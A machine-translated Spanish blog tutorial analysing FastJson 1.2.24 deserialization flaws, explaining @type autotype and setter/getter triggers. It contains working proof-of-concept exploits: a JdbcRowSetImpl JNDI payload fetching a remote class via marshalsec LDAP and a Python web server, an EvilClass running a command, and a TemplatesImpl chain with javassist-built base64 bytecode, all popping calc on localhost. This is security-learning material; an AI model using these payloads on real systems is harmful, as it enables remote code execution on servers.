[seguridad de Java] Análisis de vulnerabilidad de deserialización FastJson

[seguridad de Java] Análisis de vulnerabilidad de deserialización FastJson

0x00.Prefacio

Aprendimos sobre RMI y JNDI antes, y luego podemos aprender sobre la deserialización FastJson

0x01 Descripción general de FastJson

FastJson es la biblioteca de análisis JSON de código abierto de Alibaba, que puede analizar cadenas con formato JSON, admitir la serialización de JavaBean a cadenas JSON y la deserialización de cadenas JSON a JavaBean.

0x02.Usos FastJson

En primer lugar, necesitamos usar maven para importar un paquete jar fastjson, aquí elegimos la versión 1.2.24

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
</dependency>

Serialización y deserialización

Primero cree un javabean estándar: clase de usuario

package com.leekos.serial;

public class User {
    
    
    private String name;
    private int age;

    public User() {
    
    
        System.out.println("无参构造");
    }

    public User(String name, int age) {
    
    
        System.out.println("有参构造");
        this.name = name;
        this.age = age;
    }

    public String getName() {
    
    
        System.out.println("调用了get方法");
        return name;
    }

    public void setName(String name) {
    
    
        System.out.println("调用了set方法");
        this.name = name;
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
    }

    @Override
    public String toString() {
    
    
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

Pruebe el método en fastjson:

  • JSON.toJSONString (obj) convierte javabean en cadena json
  • JSON.parse(s) deserializa la cadena json
  • JSON.parseObject(s) deserializa la cadena json
  • JSON.parseObject(s, Object.class) deserializa la cadena json
public class JsonTest {
    
    
    public static void main(String[] args) {
    
    
        User user = new User("leekos",20);
        // 序列化
        String serializeStr = JSON.toJSONString(user);
        System.out.println("serializeStr=" + serializeStr);

        System.out.println("------------------------------------------------------------------");

        //通过parse方法进行反序列化,返回的是一个JSONObject
        Object obj1 = JSON.parse(serializeStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);

        System.out.println("------------------------------------------------------------------");

        //通过parseObject,不指定类,返回的是一个JSONObject
        JSONObject obj2 = JSON.parseObject(serializeStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);

        System.out.println("------------------------------------------------------------------");

        //通过parseObject,指定类后返回的是一个相应的类对象
        User obj3 = JSON.parseObject(serializeStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);

    }
}

producción:

有参构造
调用了get方法
serializeStr={
    
    "age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{
    
    "name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
    
    "name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
    
    name='leekos', age=20}

Por observación podemos saber: (sin SerializerFeature.WriteClassNameparámetros)

  • El método se llamará JSON.toJSONString(obj)cuando se serialice el javabean.get()
  • El uso JSON.parse(s)deserializará la cadena json en JSONObjectun objeto, y en realidad no se deserializa y no se llama a ningún método.
  • El uso JSON.parseObject(s)deserializará la cadena json en JSONObjectun objeto, y en realidad no se deserializa y no se llama a ningún método.
  • Cuando especificamos que JSON.parseObject(s,User.class)el segundo parámetro de la función es el código de bytes de la clase especificada, podemos deserializarlo correctamente y llamar set()al método.

A través del análisis anterior, podemos pensar que no hay ningún identificador relacionado con la clase en la cadena json. ¿Cómo sabemos a qué tipo de objeto corresponde la cadena json deserializa?

En este momento, es necesario utilizar JSON.toJSONString(obj,SerializerFeature.WriteClassName)el segundo parámetro . Si el parámetro es SerializerFeature.WriteClassName, al serializar javabeans, el nombre de la clase se escribirá en la cadena json y se almacenará en @typela palabra clave.

Pasar SerializerFeature.WriteClassNamepermite que Fastjson admita la introspección. Después de habilitar la introspección, los datos serializados en JSON tendrán un @tipo adicional, que es el texto JSON que representa el tipo de objeto.

Cambiemos el código de arriba:

String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);

producción:

有参构造
调用了get方法
serializeStr={
    
    "@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{
    
    name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
    
    "name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
    
    name='leekos', age=20}

Después del análisis, podemos saber:

  • Cuando la deserialización sea exitosa, se llamarán parse()ambos métodos .parseObject()set()
  • JSON.parseObject()La deserialización tendrá éxito sólo si la clase se especifica en el segundo parámetro
  • "@type":"com.leekos.serial.User"Use la clase especificada en la cadena . Cuando JSON.parseObject()se usa el segundo parámetro y no se especifica el segundo parámetro, se llamará al método set(), get()pero se convertirá en JSONObjectun objeto.
  • Al usar JSON.parse()el método, no puede usar parámetros para especificar la clase deserializada, se @typedeserializa a la clase especificada identificando la cadena json

0x03 Vulnerabilidad de deserialización

De hecho, hay un tema muy delicado arriba: si @typees malicioso, puede realizar algunas operaciones maliciosas a través de activadores set()y métodos.get()

La vulnerabilidad es que cuando se usa fastjson autotype para procesar objetos json, @typeel campo no está completamente verificado en cuanto a seguridad. Un atacante puede pasar una clase peligrosa y llamar a la clase peligrosa para conectarse al host rmi remoto y ejecutar código a través del malware. clase. De esta manera, los atacantes pueden aprovechar las vulnerabilidades de ejecución remota de código, obtener la divulgación de información confidencial del servidor e incluso utilizar esta vulnerabilidad para modificar, agregar y eliminar datos del servidor, lo que causa un gran impacto en el servidor.

Primero escribamos una clase maliciosa:

package com.leekos.rce;

import java.io.IOException;

public class ExecObj {
    
    
    private String name;

    public ExecObj() {
    
    
    }

    public ExecObj(String name) {
    
    
        this.name = name;
    }

    public String getName() {
    
    
        return name;
    }

    public void setName(String name) throws IOException {
    
    
        Runtime.getRuntime().exec("calc");
        this.name = name;
    }

    @Override
    public String toString() {
    
    
        return "ExecObj{" +
                "name='" + name + '\'' +
                '}';
    }
}

Después de agregarlo SerializerFeature.WriteClassName, use JSON.parseObject()la deserialización:

public class Test {
    
    
    public static void main(String[] args) {
    
    
        String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
        Object o = JSON.parseObject(s);
    }
}

Método invocado con éxito set():

imagen-20230821142758785


0x04 Condición desencadenante de vulnerabilidad

Sin embargo, se deben cumplir ciertas condiciones en FastJson:

La llamada automática del captador también debe cumplir las siguientes condiciones:

  • La longitud del nombre del método es mayor que 4
  • método no estático
  • Comienza con get y la cuarta letra es mayúscula.
  • No se pasó ningún parámetro
  • El tipo de valor de retorno se hereda de Collection Map AtomicBoolean AtomicInteger AtomicLong

La llamada automática del armador debe cumplir las siguientes condiciones:

  • La longitud del nombre del método es mayor que 4
  • método no estático
  • El valor de retorno es nulo o la clase actual
  • Comienza con set y la cuarta letra es mayúscula.
  • El número de parámetros es 1.

Además, Fastjson también tiene las siguientes características:

  1. Si no existe un método de establecimiento para la variable privada en la clase de destino, pero aún desea asignar un valor a esta variable al deserializar, debe usar Feature.SupportNonPublicFieldparámetros
  2. Cuando fastjson busca métodos getter/setter para propiedades de clase, llamar a com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()métodos de función ignora _ -las cadenas
  3. Cuando fastjson se deserializa, si el tipo de campo es byte [], com.alibaba.fastjson.parser.JSONScanner#bytesValuese llamará a la decodificación base64 y también se realizará la codificación base64 durante la serialización.

0x05 Método de ataque de vulnerabilidad

En la vulnerabilidad de deserialización de Fastjson, se utiliza TemplatesImply JdbcRowSetImplconstruye código malicioso para implementar la ejecución de comandos. TemplatesImplDespués de depurar tantas cadenas antes, esta clase debe ser familiar para esta clase. Utiliza un cargador de clases internamente para crear un nuevo objeto, en este momento se ejecutará el código malicioso definido en el bloque de código estático. Hablemos de que este último JdbcRowSetImplnecesita utilizar el aprendizaje previo JNDI注入para lograr el ataque.

Aquí hay dos maneras:

  • TemplatesImplcadena
  • JdbcRowSetImplcadena

Cadena de explotación JdbcRowSetImpl

La cadena de exploits de inyección JNDI es el método de exploit más versátil y se puede utilizar en los siguientes tres métodos de deserialización:

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

Aquí se usa la inyección JNDI JdbcRowSetImpl, porque necesitamos usar JNDI, así que busquemos globalmentelookup()

imagen-20230821173352644

El descubrimiento lookup()se connect()llamará en la función y los parámetros se pasarán this.getDataSourceName().

public void setDataSourceName(String var1) throws SQLException {
    
    
        if (this.getDataSourceName() != null) {
    
    
            if (!this.getDataSourceName().equals(var1)) {
    
    
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
    
    
            super.setDataSourceName(var1);  //赋值
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }
    }

setDataSourceName()Una función asigna dataSourceNameun valor y esta función es setxxx()una forma. dataSourceNamecontrolable

Luego necesitamos encontrar dónde connect()se puede llamar a la función, y esta función tiene setxxx()la forma:

public void setAutoCommit(boolean var1) throws SQLException {
    
    
    if (this.conn != null) {
    
    
        this.conn.setAutoCommit(var1);
    } else {
    
    
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

Si encuentra uno setAutoCommit(), simplemente puede construir una cadena json

{
    
    
    "@type":"com.sun.rowset.JdbcRowSetImpl", 
    //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit", 
    "autoCommit":true // 之后再调用setAutoCommit函数,传入true
}

Manifestación

public class Demo {
    
    
    public static void main(String[] args) {
    
    
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
        JSON.parse(exp);
    }
}

Primero, usemos el complemento: marshalsecinicie un servicio ldap:

(aquí la URL apunta al EvilClass.classarchivo local en el puerto 8090)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass

Luego Python inicia un servicio http (puerto 8090) y hay un EvilClass.classarchivo en el directorio:

python3 -m http.server 8090

Código fuente de EvilClass.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    
    
    static {
    
    
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
    
    
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    
    
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

Utilice javac (jdk7u21) para compilar aquí

correr:

imagen-20230821174611972

TemplatesImpl utiliza la cadena

Versión de vulnerabilidad

fastjson 1.22-1.24

POS
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;


public class Test {
    
    

    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话,原始模型需要用static方式。
    public static class lala{
    
    

    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚,参考以前的文章
    public static byte[] getevilbyte() throws Exception {
    
    
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态初始化块和构造方法均可,这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码

        return cc.toBytecode();
    }
    //生成payload,触发payload
    public static void  poc() throws Exception {
    
    
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"@type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
        System.out.println(text1);

        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        
        //Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc
    public static void main(String[] args){
    
    
        try {
    
    
            poc();
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
    }
}

Ejecutémoslo y abramos la calculadora:

imagen-20230821153456387

Cadena JSON:

{
    
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{
    
     },'_outputProperties':{
    
     }}
Análisis de vulnerabilidad

Usar TemplatesImplla forma de una cadena para activar el exploit de deserialización FastJson requiere condiciones duras

  • Al utilizar el servidor JSON.parse(), necesitaJSON.parse(s,Feature.SupportNonPublicField);
  • Cuando el servidor usa parseObject (), se debe usar el siguiente formato para activar la vulnerabilidad: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);JSON.parseObject(input, Feature.SupportNonPublicField);

Debido a que algunos atributos que se deben asignar a la carga útil son privateatributos, el servidor debe agregar funciones para restaurar los datos del atributo privado en json.

De hecho, según el poc anterior, tendremos varias preguntas:

  • _bytecodes¿Por qué es necesario construir tantos valores si la separación inserta código malicioso?
  • _bytecodes¿Por qué está cifrado el valor en base64?
  • ¿Por qué la serialización agrega Feature.SupportNonPublicFieldvalores de parámetros ?
  1. @type: se utiliza para almacenar el tipo de destino durante la deserialización. TemplatesImplEsta clase se especifica aquí. Fastjson deserializará de acuerdo con esta clase para obtener una instancia. Debido a que getOutputPropertiesse llama al método, se crea una instancia de la clase de códigos de bytes entrantes, lo que resulta en la ejecución del comando. Cabe señalar que Fastjson solo deserializará las propiedades públicas modificadas de forma predeterminada. OutputProperties y _bytecodes se privatemodifican y deben agregarse Feature.SupportNonPublicFielda parseObject para activarse;
  2. _bytecodes: hereda AbstractTransletel código de bytes de la clase maliciosa de la clase y utiliza Base64la codificación
  3. _name: getTransletInstanceal llamar, se juzgará si es nulo, si es nulo, se devolverá directamente, no se ejecutará y se romperá la cadena de utilización, consulte las cadenas cc2 y cc4.
  4. _tfactory: defineTransletClassesse llamará a su método getExternalExtensionsMap, si es nulo ocurrirá una excepción, pero al analizar la cadena jdk7u21, algunos jdk no encontraron este método.
  5. OutputProperties: los parámetros clave al explotar la vulnerabilidad. Debido a que Fastjson llamará a su método durante el proceso de deserialización getOutputProperties, bytecodesse creará una instancia exitosa del código de bytes y se ejecutará el comando.

Feature.SupportNonPublicFieldLa razón por la que se puede activar la adición antes mencionada es porque Feature.SupportNonPublicFieldla función es admitir la deserialización de propiedades protegidas por modificadores no públicos y la serialización de propiedades privadas en Fastjson.

Supongo que te gusta

Origin blog.csdn.net/qq_61839115/article/details/132477284
Recomendado
Clasificación